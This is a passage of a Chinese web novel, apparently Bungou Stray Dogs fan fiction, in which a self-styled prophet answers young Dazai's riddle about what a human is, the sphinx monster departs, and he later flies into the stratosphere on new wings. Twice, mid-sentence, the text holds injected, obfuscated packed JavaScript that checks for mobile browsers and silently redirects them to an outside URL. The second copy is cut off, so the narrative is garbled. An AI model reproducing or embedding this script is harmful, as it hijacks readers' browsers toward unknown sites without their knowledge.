“禁止卖关子。”夏章雾没好气地说,“读者看到都会嫌弃你水字数的。” “喂喂喂,免费章节水什么字数啊!我水字数都是在付费章节好不好!” 画外音没好气地翻了个白眼:“哼,我还是直接说算了:算你给出的回答还算谨慎,没有告诉他‘你能够找到’。因为那孩子是永远没有办法寻找到那个答案的。” 夏章雾双手环抱。 “永远。” 他说:“哇哦,真是残酷的评价。” 被造物主钦定的事实如是述说着: 你永远无法找到生命的意义。 对于一个执着于寻找这个答案的人来说,这个回答到底算是什么呢? “不要这么说我啊。”画外音说,“你自己在回答之前,不就也意识到了这一点吗?所以才没法把‘你找到了’说出口。” 要说原因,其实意外地简单—— “因为他的异能是人间失格,因为他的异能是这样终极的反异能,因为他的异能是对自我身份的拒绝,让他成为了异能者中的非异能者。” 夏章雾托着下巴,望向天空:“能寻找到活着意义的人,怎么可能拥有这种异能?” 某种程度上来说,异能才是这个世界上对于异能者的终极预言。许多东西从异能觉醒的那一刻便已注定,永远都没有办法改变。 没有人回答。 只有气流从身侧擦过的声音。 画外音似乎在风的间隙中微微地叹了口气。 “但我本来就不是问你这个问题的。说实在的,我本身只是一个根本不明白活着的意义有什么重要之处的人。” 夏章雾突然打破了沉默。他强行把这个话题掰回了最初的模样:“我向他承诺的事情只有一个,那就是他不会为自己的活着感到后悔。” 生命的意义并不重要,重要的是…… 活着,存在着,感受着。 被这个世界改变,也改变着这个世界。 “其实只要死个人就可以做到。” 画外音突然说:“如果只是这样的话。” “你闭嘴。” 夏章雾只觉得严肃的气氛全无,他拼尽全力才没有给作者翻一个白眼:“我是认真的。” 我也是认真的。 作者想这么回答。 但它咂了两下嘴,突然放弃了把这件事告诉自家主角的打算。 “那就把他带上吧。”它说,“之前有些读者不就已经告诉你这个回答了吗?你也下定决心了吧。” “接下来你面对文学负面体的旅途,带上这个孩子好了。他会拥有绝对不会后悔的经历的——至于剩下来的事情,交给我就行。” “你?” 夏章雾吐出一口气,抬起头,表现出了显而易见的怀疑。 “我可是甜文写手哦?” 虚空中飘来很是理直气壮的声音:“或许不够甜文,但这种事情简直是轻而易举,你就等着瞧吧。” 说完它就开始笑,得意洋洋地哼起了歌,而且还是之前夏章雾和太宰治待在公园里时听到的那一首。 当然,这次夏章雾还是没有听懂。 那模糊不清的调子配上乱七八糟的日语,简直可以让任何语言学家都望而却步。他只能模糊不清地听出这首曲子里存在着的热烈与伤感并存的基调。 “所以说啊——” 听着听着,他也忍不住笑了:“这首歌的名字到底是什么?你唱得也太烂了吧?” 歌声短暂地停顿,笑嘻嘻的声音再次传来: “嘿嘿嘿,你猜?” “不,我可不猜。” 夏章雾毫不犹豫地说。 他扶着墙站了起来。 随后,他以一往无前的气势走过街道,走到太宰治他们家的门口。当然,这一次他不准备继续翻墙强闯民宅。他是要从正门进去的。 于是夏章雾就在正门看到了费奥多尔。 那位俄罗斯人站在已经多了几分暖意的空气里,似乎是在等他。 在看到夏章雾过来后,这位侦探的脸上露出了微微的笑容,随后就是和以前一样的问候声。 “勒托先生。”他说。 夏章雾愣了一下,用了几秒钟才想起来,自己在昨天和他说过,自己打算在今天就把所有的事情都解决。 所以面前的这家伙是来关心自己的吗?等一下,这种想象似乎有点恶心。他还是考虑考虑别的可能性吧。 比如说……这个俄罗斯毛子对自己之前安排的任务消极怠工,非要拖到最后一天,踩着线完成“试探太宰治”的任务。 没错,一定是这样的。 真是可恶啊,费xxx。 夏章雾瞬间就绷紧了脸,深深地凝视着费奥多尔,用眼神无声地表达了自己的谴责。 “?”对方脸上的笑容不变,只是目光中多出了几分疑惑的味道。 “我刚刚和太宰治的母亲聊过了。” 像是为了阻止某位人类学教授过多的脑补,他快速地开口:“关于那个问题该如何回答,我也有了答案。” “?” 夏章雾缓缓地打出一个问号,表情也逐渐警觉了起来:“什么答案?” 那小子自己都不明白答案呢,你是怎么知道他想要的答案是什么样的?你这家伙该不会才是那位真正的先知吧? 费奥多尔注视着他,突然弯了下眼睛。 “您心中所想的答案。” 他说:“便是正确的回答。” 说完这句话后,俄罗斯人便走下了台阶,与夏章雾擦肩而过,然后朝着空寂寂的街道走去。 夏章雾有些茫然地望着他离开的背影,又有些茫然地望了望太宰治家的门。 “啊?”他说。 我心中所想的答案?真的假的? 他可是为了今天,一口气准备了上百个预备答案来着的啊。鬼才知道你说的到底是里面的哪一个! 夏章雾深吸一口气,摸了摸口袋。 “看来要使用备选方案了。”他深沉地自言自语,“幸好我早有准备……” “大叔——” 门被推开了,太宰治毛茸茸的脑袋从门缝里面钻了出来,他的表情幽幽的:“不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221661|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再自说自话啦,我妈妈在等着你哟。 “等我?” 夏章雾连忙整理好了自己脸上的表情,有些疑惑地跟着太宰治走了进去。 “嗯呐,费佳哥哥过来和妈妈说了些内容。” 太宰治走路的姿势依旧是蹦蹦跳跳的,显现出很快活的模样:“然后他告诉我,接下来不管你做出什么事情都不要害怕……话说回来,大叔你该不会真的想要把我拐卖走吧?” 这你还真说对了。 就有一点不对,而且很不对。 “所以说,为什么你喊那家伙是费佳哥哥,喊我就是大叔?” 夏章雾没好气地弯下腰,揪了下他的脸,揪得太宰治再次“嗷呜呜”了起来: “虽然那家伙看上去确实很年轻,但也不能区别对待!而且他说不定就是什么活了几百年、专门吃小孩子的妖怪呢!” “唔唔唔!” 太宰治被捏得泪汪汪的,但声音超级大:“我要告诉费佳哥哥,你在背后说他坏话——” 夏章雾:“……” 果然还是扔了吧,能够被费那个谁给骗到,这孩子已经没救了。 “请问,是勒托先生吗?” 一个温婉的女声响起。 夏章雾瞬间把太宰治连着自己的手全藏到了身后,把自己的犯罪证据隐藏了起来,脸上同时露出了简直可以被写进教科书的讪笑。 “呃,请问是太宰的母亲吗?” 他下意识地说出了去学生家里家访时经常使用的开场白,然而在问题说出口的瞬间就感觉自己是个傻瓜,表情也从讪笑变成了痛苦面具。 “可以看得出来,您也是位老师。” 太宰治的母亲笑了一下。可能对这位高中教师来说,比夏章雾还喜欢闹腾的小朋友她已经见到了不知道多少,所以在面对这种情况时,也展现了足够的包容。 “呃,嗯。研究人类学的。” 夏章雾十分勉强地挤出这几个字,然后强迫着自己的大脑从“捏人家儿子脸却被抓个正着”的尴尬感中冷静下来。 “那太宰以后就麻烦您了。” 这位母亲似乎松了口气,她用有些担忧的目光看了眼太宰治:“他的父亲正在医院,能够遇到你们这样的人实在是太好了。” 咦? 咦咦? 夏章雾有些迷茫地望着这位母亲,又看了眼钻到自己身后的太宰治:但他很快就意识到了,对方摆出这副姿态的原因百分之一百地和某位俄罗斯侦探有关。 所以说,对方到底是给面前的女人灌了什么样的迷魂汤啊…… 并不清楚到底发生了什么的人类学教授勉强地回应着这位母亲的话,最后实在是没法应付这样的场景,拉着太宰治就逃之夭夭了。 “那家伙到底和你妈说了什么?” 等到来到了相对安全的后院,他忍不住对太宰治问道:“我甚至都还没来得及拐卖……” “果然你这家伙就是个强闯民居——唔唔!” 在说出那套大家都十分习惯的说辞之前,太宰治的嘴就再次被物理意义上的堵上了。 “好了,我这次来是说正事的。” 夏章雾的表情严肃起来:“那个家伙之前来这里的时候应该也和你说了。想要解决青森市的怪物事件,我就必须要给出一个你认可的‘什么是人’的回答。” 被捂住嘴的太宰治眨了两下眼睛。 夏章雾缓缓地挪开了手掌。 “所以,这就是我的答案。” 他这么说,然后一脸严肃地从怀里拿出一大叠纸,然后把它们全部展开,形成了一张长长的、甚至足够拖在地面上的图纸。 读者给出的、他自己给出的、还有他问各个人的。 “喜欢污蔑别人的人类幼崽,现在,好好听我说完这三位数级别的回答吧!它们合在一起,就是我对这个问题的解答!” 夏章雾咳嗽一声,庄重地从口袋里拿出了一个放大镜,开始研究上面的内容:“首先,就让我们从‘林夜’的投稿正式开始……” 太宰治脸上的表情在逐渐消失。 “我现在总算是知道。” 他面无表情地说:“为什么那家伙要特意提醒我,不管你做出什么事都不要怕了。” 三位数的答案。 呵、呵。 28.这样的结局你满意吗 “林夜先生表示,人类是各种各样的情绪集合体,相互接触时产生不同的情绪,也交换不同的情绪。” 夏章雾看了眼太宰治:“这个怎么样?” “情绪这个词前面能不能加一个‘无聊的’这样的修饰语啊。” 太宰治用两只手托着下巴,眼睛眯成了一条缝隙:“毕竟听上去好无聊——” “嗯,那就下一个。” 夏章雾把放大镜往下面挪了一点:“安东尼奥·科伦丁先生表示,他觉得认可自己人类身份和有人类基因的都算是人。” “啊,身份和身份认同只要有一个就可以算是人类吗?” 太宰治的声音依旧很困:“我也想过,但未免也太主观了。被变成怪物的人还算人吗?被修改成人类记忆的其他物种也可以算人吗?难道人可以通过这种方式被制造吗?不管怎么想,人都不应该是这么主观的东西啊。” 夏章雾耸了耸肩。他没做出评价。 “好吧,那再下一个:大家好我是超级改名人表示,他认为人类是美丑兼具的东西,那些虚伪的和赤诚的、可敬的和可鄙的都是人。” “这个答案也太宽泛了吧……” 太宰治皱了下眉,评价道:“而且感觉就算是不形容人类,用来形容别的智慧生物感觉也说得通。” “也是。” 夏章雾表示赞同,继续往下朗读:“接下来是33182772的投稿:人类就是一种总以糟糕的故事情节和温柔浪漫的笔调,讲述在绝望中窥见希望的种族。” “不怎么赞同。” 太宰治毫不客气地回答:“人类的故事比起温柔浪漫,更像是滑稽荒谬。绝望中窥见希望的说法则是单纯的幸存者偏差,毕竟如果人类的历史真的出现了彻底的绝望,估计早就灭绝了,那我们两个也不会在这里谈论有关人的话题。” “那好吧,接下来的这个……呃,这个是来自玧末的贿赂内容,先跳过去。这个是来自暮川夜的废话压缩包,也跳过去。这个是爱丽丝的笑话,还是跳过去。这个还是爱丽丝的笑话……我怎么一个不注意打印了这么多的笑话?” 夏章雾快速地往下挪动着放大镜,终于看到了一个不是笑话的答案: “嗯,接下来是KK的发言:有生殖隔离的就不是人,没有生殖隔离的当人就是人……嘶?” “不是,朋友。你的思路这么野的吗?” 夏章雾大为震撼,还没等到太宰治开口就忍不住吐槽了起来:“要知道,就算是从单纯的生物学分类来讲,不同物种间也是可以不存在生殖隔离的啊!” 太宰治幽幽地叹了口气。 “不管是从投稿人名字,还是从发言内容上来看,似乎都越来越离谱了呢。”他说。 “实在不行的话就看看柯南·道尔的答案。” 夏章雾也叹了口气:“虽然我根本没问他,但不用问我都知道,他的回答肯定会是人类就是狗屎之类的话。” “哇哦。” 太宰治肃然起敬:“好尖锐的评价。我猜这肯定是他和你相处太久导致的。” “明明应该是他长年接触各种奇葩理由的凶杀案导致的!” 夏章雾立刻表示自己才不背锅:“肯定是因为接触了太久凶手导致的这家伙心理变态……不过我们还是快点来到下一条吧。” 他看了眼院子外面。 有什么东西正在注视着他。他能够感觉到那种目光,来自这片区域里无处不在的阴影。夏章雾缓缓挪动着目光,然后看到一个没有任何起伏的漆黑轮廓。 一只漆黑的、有着翅膀的斯芬克斯。此刻它正闭着自己的眼睛,与周围的所有融为一体。它正在耐心地、沉默地聆听。 夏章雾收回了视线。 他说:“接下来是爱丽丝提供的回答:人类是属于灵长目人科人属智人种的——” 太宰治打了个哈欠。 “没有你自己的吗?”他困困地打断了夏章雾的话,“我都已经听了好多条了耶,结果全都是别人的内容。你该不会根本没有想过这个问题的答案吧?” 夏章雾暂停了朗诵的打算,挑了下眉。 “怎么可能?我当然想过。” 他说,同时蹲下身子,用力一揪太宰治的圆脸,得意地哼哼笑了起来:“不要小瞧我啊,回答这种问题对我来说简直是,小菜一碟!” “唔唔唔,不准捏脸,也不准揉!” 刚刚还在打哈欠的太宰治被揉得一点也不困了。本来就带着婴儿肥的脸被越搓越圆,最后变成了一只气鼓鼓的栗子河豚,一副想要用刺在人身上戳个窟窿的样子。 “给!我!看!你的回答!” 他气乎乎地说:“我要把它说得一无是处,然后狠狠甩到你脸上!” “哈哈。” 夏章雾瞧着面前气乎乎的小崽子,感受着那道从暗处投来的视线,瞬间就乐了:“不用你批判,我自己就觉得它挺一无是处的——你真想知道?” 他其实对“自己必须要正面回答这个问题”早有预料。事实上,也有读者对此早有预料了: 「凤舞九天: 账务考不考虑说一下自己真心的对人的想法,毕竟费佳和你相性很好的样子,且费佳在原著里说过他和太宰是同一类人,能让费佳认可的答案想必太宰也能认可吧。」 真心的对人的想法啊…… 夏章雾目光稍微漂移了一瞬:虽然凤舞九天你好像很信任我,但是在这方面,我能给出的回答可是很荒谬的哦? “告诉我告诉我告诉我告诉我!” 太宰治也不演了,直接就跑过来,尝试踮着脚把那张长长的纸给整个儿抢走:“我要看看先知是怎么想这个问题的啦!” “抢走也没用。因为我的答案储存在了大脑里,而非是纸上。” 夏章雾把手一抬,将这张长长的卷轴给卷了起来,让太宰治不管跳来跳去都够不到:“其实呢,我给出的回答非常非常简单。” 说到这里时,他表面意味深长、实则有些尴尬地停顿了片刻。但太宰治的好奇心被完全勾起来了,眼睛一眨不眨地盯着夏章雾看。 “我对人类的定义是——” 这位人类学教授缓缓地、用那种富有深意的语气说:“凡是人类的,就是人类。” 空气似乎凝固了。 那个似乎正注视着他的目光也僵住了。太宰治则是歪了歪头,表情很明显地茫然了起来。 他感觉自己有可能没听清。 “凡是人类的,就是人类。” 夏章雾又重复了一遍,他理所当然般地说:“你绝对不能说我的这句话是错的,对吧?” 当然不是错的,因为它就是一句标准的、正确的废话,就和“四足动物有四只脚”一样毫无意义。处于一种“好像说明了什么但又什么都没有说明”的薛定谔状态当中。 “信息是没法超光速的。” 太宰治短暂地沉默了几秒,然后做出了如是的评价:“但你的这句话绝对可以做到。” 因为根本就毫无信息量啊! “你是不是在骂我这句话没有信息含量?” 夏章雾咳嗽一声,突然用理直气壮的语气大声喊道:“愚蠢的未成年幼崽,你要知道,这句毫无意义的话可是人类逻辑最伟大的创造啊!” ——嗯,总之忽悠小孩的话,别的可以没有,但气势一定要足。 太宰治明显就被忽悠得有点将信将疑。他双手抱胸,打算安安静静地看面前的男人到底要怎么胡说八道。 “想一想吧?到现在为止,人类是否真正得到了什么真理?我们只是依靠研究现实来得出答案,但我们甚至对身处的现实都一知半解,得到的答案又怎么会有成为真理的资格?” 夏章雾用咏叹调般的语气说道:“但人类真的制造出了一种名为同义反复的真理。在这句话里,我们固然没有得到任何有效的信息,但它也不需要外界的任何条件便能成立。” 就算是有一天物理定律发生了改变、圆周率变成了3.19、灵气复苏、人类灭绝、地球毁灭、宇宙走向熵增的终末—— 凡是人类的,就是人类。 这个事实永远都不会发生改变。 “因为它用自己证明了自己,因此它不证自明。它从而成为了不需要任何外物也能存在的力量,成为了不需要任何原因就能存在的逻辑。” “很了不起,对吧?” 夏章雾脸不红气不喘地说:“如果说宇宙万物一定存在着某个终极的动力,那么就一定是同义反复的力量。只有它才能从一片虚无当中不需要任何理由地诞生——从这个角度来看,我告诉你的可是关于人类问题的终极解答。” 太宰治默默地挪开视线。 “我感觉你是在胡说八道。”他回答,“但似乎还是很有道理的。” “这可不是普通的胡说八道,这是先知富有理论依据的胡说八道。” 人类学教授眨了眨眼睛,他的态度几乎是有点得意洋洋:“所以说啊,在我看来,人类是什么从来不是什么困难的问题。是人类的,就是人类。这个认知就足够了。” “嗯……虽然的确给出理由了。” 太宰治坐在秋千上,晃了两下腿,眼睛学着夏章雾之前的样子虚了起来:“不过还是超级不甘心。毕竟这种回答和想象中完全不一样,甚至都没有解释什么是人类耶。” “怎么能说没有解释!” 夏章雾理直气壮地回答:“都说了,人类就是人类啊!” “我不是这个意思啦!”太宰治的脸又一次鼓了起来,“我是说什么样的才是——” “人类。”夏章雾一本正经地回答。 太宰治:“……” “你就是想敷衍我吧。”他说。 “你就说我的理论对不对吧。” 夏章雾果断地回答。 ……似乎还真不能说不对。 “果然。” 太宰治气乎乎地瞪着夏章雾的脸,突然大声喊道:“先知先生是世界上最讨厌的大人!” “开什么玩笑!”夏章雾大惊失色,于是也大声喊道,“有那个俄罗斯人和柯南·道尔在,我怎么也得是第三!” “才不是——你、最、讨、厌、了!” “打起来!打起来!” 画外音一边吃爆米花,一边在旁起哄,看样子俨然已经和人间失格站在了同样的立场,津津有味地看起了救世主和未成年人的热闹。 “加油太宰!咬他!干得漂亮!” 它喊道。 “喂喂,你是属狗的吗?” 这是夏章雾大惊失色的声音。 “都说了我最讨厌的就是狗!” 这是太宰治气愤的声音。 黑暗处的阴影蠕动了两下,似乎发出了有些赞同的嘟哝声,那对苍白的空洞突然在阴影当中浮现,轻轻地眨了眨,然后又重新没入了大树的影子中。 最后被武力制服的太宰治很不甘心地坐在草地上,被大人抱在怀里,头发被揉成了乱糟糟的鸟窝。 这只栗子河豚又开始哼哼唧唧了,表现出相当不满的样子。 “好狡猾—— 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那是不知道自己是否归属于人的疑惑,也是介于人和怪物之间的边界生物的疑惑。 他问:“所以说啊,大叔到底是以什么样的心态说出这种答案的呢?” 夏章雾轻柔地、但用力地按住了他的脑袋。 “嘻嘻,我一定要赢。” 这位人类学教授用十分轻松和散漫的语气开口:“大概就是这样的心态吧?无论如何也一定要说出一个让你哑口无言的回答才行。哈,现在来看还是很成功的嘛。” “……好不靠谱。” 太宰治的眼睛一点点地转变成了死鱼眼,他重新扭过头:“但姑且看在后续我总还有机会问你的份上——” 他的目光微微下垂。 就在夏章雾的身边,那里正蹲着一只黑色的猫。不,那不是猫。 虽然依旧有长长的尾巴、圆形的脑袋,古怪的白色眼睛,但是那对“猫耳朵”已经消失,取而代之的是一双巨大的漆黑翅膀,呈现出猫头鹰、或者神话里斯芬克斯般的形象。 它在看着太宰治。 它在等待故事的终止,最后的判决。 太宰治缓缓地、缓缓地挪开视线。 “勉强过关了哦,大叔。”他说。 那只斯芬克斯抬起翅膀。 它似乎在叹息,似乎在微笑。它似乎轻轻地扇动了一下羽毛来作为告别,然后像是一只真正灵巧的有翼生物那样飞起,从人类的身边掠过。 “你知道吗?” 斯芬克斯说。 它的最后一句话仿佛是一个愉快的恶作剧:“夏章雾,你是我见过的所有人里,见到的我最清晰的那一个。” 像是释怀般的,它笑起来。 那条修长的尾巴像是绞索一般地从人类的咽喉边滑过。怪物最后看了太宰治一眼,然后振翅向上飞去。 它的动作如同跃下悬崖。它整个黑色的身体就这么融化在了明亮的阳光当中。在四月份的这个阳光明亮的早晨,空气中只有仿佛猫头鹰般低沉的笑声。 夏章雾眨了眨眼睛。 “什么?你说勉强?” 夏章雾皱起眉来:“未来的你可是超级喜欢这个答案!就是他要我这么和你说的!” 太宰治收回目光,转而怀疑地看向他。 “真的?”他问。 “哈哈,假的。”夏章雾说。 空气似乎凝固了一秒。 然后响起的内容就是…… “哎哎哎你怎么又咬人!你又不是属狗的,怎么就盯着我咬啊!” *** 吃爆米花的声音停下了。 那两只停留在键盘上的、明显属于女性的手稍微犹豫了一下,似乎不知道自己是不是该把这句话作为章节的最后一句。 “啊,每次章节结尾都想得好累。” 女性的声音这样嘟哝着,然后一只手从键盘上面挪开,拿了个爆米花丢进去嘴里。 她又打开了一个标题是“大纲”的文档,熟练地点了下“恢复上次浏览时的进度”,让内容跳到了她想看的那页。 上面的内容很简单: 「名称:人间失格 塔罗象征:“世界”逆位——永不完美的人间 怪物类型:人兽嵌合的喀迈拉 现世形象:漆黑的斯芬克斯 “何者朝有四足,午有两足,暮有三足?” 虽然是怪物,但以怪物的方式讲述着人类的谜底。明晰何为人类之人,不会为非人的描述所迷。 “何者朝为盲目,午为迷惘,暮为悔恨?” 在这个时代,变成了心存迷茫的人类向怪物提出问题。而斯芬克斯给出的回答,也只有怪物方能够懂得。 守则:被人类所抛弃的、自认为被人类所抛弃的存在即为怪物——如果被人类拒绝,那么就在非人的世界里寻找归宿吧。 解决方案:回答这个时代的斯芬克斯之谜」 电脑前的女子看着上面的内容,紧接着又吃了口爆米花,似乎正在思考着什么。 “副本结束后要不要加强一下主角呢?” 她嘟哝着:“嗯,还是给点东西吧,一时的投入是为了更好地让人打工!” 想到这里,她嘻嘻地笑了,推了推眼镜,镜片后的眼睛闪闪发光。 “要加油哦,主角先生!” 她重新敲起了字,气势满满地喊道:“我能不能攒够钱,然后买到超级贵的陀思妥耶夫斯基传记五部曲,可都全靠你了啊!” 29.点击就送闪光大翅膀 二零零六年,四月十四日,深夜。 花了一整个白天才摆脱了在后面追着自己咬的太宰治的夏章雾先生正在自己的座位上翻找着资料。 资料是江户川先生发给他的。上面有着那个实验室最后几十个实验体孩子的名单,基本全是通过基因检测才能判断出大致的身份。里面绝大多数的孩子都是孤儿院出身。 这大概就是唯一值得苦笑的地方: 前几年的异能大战制造了大批的孤儿,所以负责“采购”实验体的人根本不需要去冒着风险破坏别人的美满家庭,只需要去孤儿院扮演领养人就可以轻而易举地获得大量的试验素材了。 当然,这里面也有可能有别的内幕。 夏章雾简单地扫视了一遍:其中有好几个孩子是来自于同一家孤儿院。考虑到这么大规模的领养不太现实,也许这个孤儿院就是这个实验室的素材提供机构,或者是孤儿院在秘密“出售”这些孩子。 具体如何,还是需要去实地调查。 夏章雾圈出了其中的几个嫌疑比较大的孤儿院,在旁边写下批注和猜想。等到半张纸都被密密麻麻的红色字迹填满后,他才呼出一口气,把纸张压在了笔记本电脑下方,摸出笔记本开始翻看读者的评论。 他熟练地忽略了爱丽丝的笑话(其中有些内容还挺好笑的),寻找着里面的有用信息,然后就看到了某位很是活泼的读者正在多嘴多舌。 「暮川夜 嘿,账务!我是世界上最伟大的情报商!别看我给你说的都是废话,但那真的只是废话吗?不是的,那是我对你的考验啊!你已经通过了我的考验,伟大的救世主,接下去只要你在文中扣"一",我会免费为你提供情报,但是你要给我一个完整的命题!……」 “好的,废话压缩包。” 夏章雾敷衍地点点头:“11111,能告诉我太宰治、安吾和那个织田作的事吗?我已经听你们把他们是三个并列好多次了,但现在都不知道他们之间到底发生了些什么。” 「抱着Hans的Alice: 陀的实体传记没有,电子版倒是有,太太想要的话可以网盘分享一下。」 夏章雾对着这个新爱丽丝的发言沉思片刻,最后果断地为了区分,将其在自己心中的命名定位成了爱丽丝plus。 “所以这个陀,是那个侦探?” 他问画外音:“那家伙在你们世界已经出名到有传记了吗?” “不仅有,还很贵。” 作者叹了口气:“谢谢这位读者,不过我还是买实体版啦,电子版总是看不下去呢……而且我最近也有在攒钱。不过这不是重点!” 作者突然振奋起来。 “重点是你要被加强了!”它说,“给我仔细听一下这方面的介绍!” 加强? 夏章雾给自己冲泡了一杯热可可,饶有兴致地开始听。 “简单来说呢,其实你可以理解为一个动物变形术。” 它兴致勃勃地说:“你可以借用非人生物的力量,比如让自己拥有狗的嗅觉什么的——喂喂喂,你怎么一副完全提不起兴趣的表情?” 夏章雾给自己泡了杯热可可。 “能变巨龙吗?” 他虚着眼睛:“不能变龙那有什么意思,而且按照你这个说法,也没有办法变成枭兽、熊和猎豹什么的。” “龙性恋收收味。” 正在“啪嗒啪嗒”敲字的作者没好气地回答:“而且你这家伙是先知又不是德鲁伊,想变那么多动物干什么?有加强就不错了,你知道想一个技能要耗费作者多少脑细胞……等等,你这是在干什么?” 它的声音突然有些茫然。 “事情是这样的——我正在研究这玩意能不能让人飞起来。” 原本还在抱着笔记本的夏章雾,现在整个人都扒拉在了窗户被拉开的窗框边上,整个人都散发着跃跃欲试的气息。 翻出去的动作并不算困难——手掌直接撑住窗框,翻身跨坐,扭身,腿部微微用力,把第二只腿也伸出窗户,稍微调整一下。 就这样,夏章雾非常熟练地摆出了坐在窗框边上的姿势,一只手扶着窗框,伸出半个身子,有些新奇地打量着青森市的夜景。 你别说,这种视角确实很新奇。 “变不成巨龙就算了,至少得能飞吧?” 他说。 “怎么可能?就算是多了一双翅膀也不会让你飞起来的。”画外音吐槽道,“你冷静一点。空气动力学和生物学都在哭泣啊!” “你怎么好意思说这种话?” 夏章雾鄙视地看着声音传来的方向:“斯芬克斯那种长着人脸狮身的家伙能飞吧?它这副样子是符合空气动力学还是生物学?” “呃,都不符合。” 有些纠结的声音响起。 “那不就行了?” 夏章雾的回答掷地有声:“都说了,少用三次元的事情管我们二次元!” 他注视着远方星星点点的灯光,缓缓地抬起抓着窗沿的手,做出拥抱的手势,在夜晚扑面而来的风里深深地、深深地吸了一口气。 然后笑了起来。 “所以,一定是可以飞的,对吧?” 他说:“毕竟你的主角马上就要从这里跳下去了哦?” 作者停下了纠结的嘟哝。 “咦咦咦咦咦?”它说。 夏章雾笑出了声。他抬起头,弯起眼睛,对着夜空咧了咧嘴,手掌向后用力一推—— 然后毫不犹豫地倒入虚空。 并没有什么惊慌感。只是视野出现了比在平地上稍微剧烈一点的晃动,耳边的风声突然变得前所未有地具有存在感,简直就像是耳鸣。 一对翅膀在背后自然地生长而出。 夏章雾尝试控制自己身后的另一对肢体,用它来增加风阻来减缓降落的速度,同时尝试制造另一股足以把他托起的气流。 很简单。没什么可担心的。 他稳稳地终止了下跌的势头,有力的翅膀在空气中拍打几下,然后开始上升,再接着便是在空气中无拘无束的飞翔。 就在这时,夏章雾终于听到了作者的声音。 “真可恶啊,你这家伙!” 它气乎乎地说:“你知不知道,你毁了一个三流写手写严谨二次元同人的梦?” “是吗。” 夏章雾看着天空,眼睛中还带着没有褪去的笑意:“可是我怎么觉得,你本来就不是这方面的料。” “……闭嘴啦你!” 稍微沉默了片刻,虚空中那个恼羞成怒的声音在耳边响起:“要是想飞得高一点,就不准再骂我!小心我让你因为缺氧和低温直接掉下去——也不准笑!” 夏章雾对此的回应是更加愉快的笑声。 他现在正身处于夜晚的空气中。背后新生的翅膀几乎本能地扇动。驾驭气流的技巧就像是被刻在骨子里那样驾轻就熟。 他轻而易举地围绕着一栋建筑物转了两圈,感觉飞行简直是种奇妙的乐趣。 “就像是无辅助潜水。”他对作者说。 重力已经不再成为束缚行动的桎梏,身躯在一大片难以言喻的介质当中漂浮。 往上下左右看去时,你的心灵会深刻地感受到整个世界伟大的宽阔——只有在水里和空中,人才会拥有这样的感受,而这种感受是坚实的大地带来不了的。 这回作者有点羡慕了。 “我从没飞过。”它说,“而且还有点恐高。” 夏章雾同情地耸耸肩,然后飞得更高了。 ——很显然,他可没有恐高症。 没有花太久的时间,他很快就飞到了云层的上方。今晚的云很多,夏章雾好奇地把脑袋埋进去看了好几眼,甚至还深吸了一口气。 然后,他付出了应有的代价。 “咳咳咳!阿嚏!我现在明白了:在有空气污染的城市,千万不要把自己埋到云里面呼吸空气。” 夏章雾打了好几个喷嚏,拼命拍打着翅膀才没让自己因为重心不稳而掉下去。他狼狈不堪地穿过云层堆叠的地方,把那些云远远抛在下面,含糊不清地抱怨着: “阿嚏!真高兴我是在青森发现这件事的,而不是伦敦。否则我现在就要去医院,阿嚏!检查呼吸系统了。” “噗。” 虚空中传来笑声。 “你别说了。” 作者笑嘻嘻地以看热闹的心态说道:“本来这里就没什么氧气,你再说我就要以缺氧为理由,把你踹下去了。” 夏章雾果断地闭上了嘴。 他继续往上飞。 越往上面,世界越是静谧。就连风仿佛都在缓缓地得以平息。 “你还要飞吗?” 作者的声音在夜晚清晰得就像是玻璃另一侧游动的鱼:“上面很冷、也很缺氧。就算是你死不掉,但大概也不会舒服到哪里去。” “但是平流层很适合看星星的。” 夏章雾抬头望着夜幕,随后拍了拍翅膀,毫不犹豫地继续往上飞:“既然能飞,我就带读者和你去看看,就当是你们帮我忙的礼物——你应该也能看得到我眼里的东西吧?” “唔。” 作者沉默了一下:“确实能。” 上方的空气正在越来越冷,城市的人造光污染正在褪去。在穿过最后一片云层后,周围已经没有任何一朵云的存在。 夏章雾耐心地等待着,在同样海拔的位置一圈圈地飞翔着,好让自己的眼睛适应失去城市霞光后的黑暗。 作为平流层,这里的空气显得很稀薄。那些热闹的风并不存在于这里。与之相对的是,随着双眼对黑暗的逐渐适应,视野里逐渐出现了一颗又一颗闪耀的光斑。 是星星。 夏章雾抬起头。 他很快就在北方辨认出了北极星与北斗,然后是显眼的春季大钻石与春季大曲线,还有狮子座的镰刀。 无数的星闪耀着,随着他一圈圈的飞行而旋转着,如同在深海中浮动。它们投来属于几个世纪前的遥远目光,然后落入属于二十一世纪的人类的眼球。 在平流层的航线外,一切都显得如此静谧。唯有宇宙之外的光芒点缀着这片漆黑的、宛若深海的空间。 就连作者都没有再说话。 ——此时,距离地面三万米。 没有鸟能飞得这样高,就连客机也很少来到这样的高度。 此时能看到这种风景的,唯有这个故事的主角、作者与读者。通过完全不同的方式,他们就这样共同地注视着面前这片辉煌的星宇,宇宙制造的最伟大的奇迹之一。 那是冰冷而又璀璨的光,来自于冰冷而又坚硬的物质,穿越过冰冷而又死寂的宇宙,最终在冰冷而又空气稀薄的高空,被人眼捕捉。 然后在瞳孔中点亮火焰般明亮的反光,与夏章雾金棕色的眼睛融为一体。 “和在飞机上看星星的感觉完全不一样。” 他说。 在那里,你对星空伸出手时触摸到的是厚厚的玻璃,你看到的东西隔着模糊不清的反光。你身边是飞机座椅和同行的乘客,你仍被人类文明包裹,置身于同类带来的安慰当中。 而在这里—— 上下皆无,唯有群星。 夏章雾张开手掌,轻轻地放在自己的眼角附近。 他的眼睛中倒映着无数缓慢旋转的星星。在周围银白而幽微的光下,他几乎以为自己的掌心足以握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 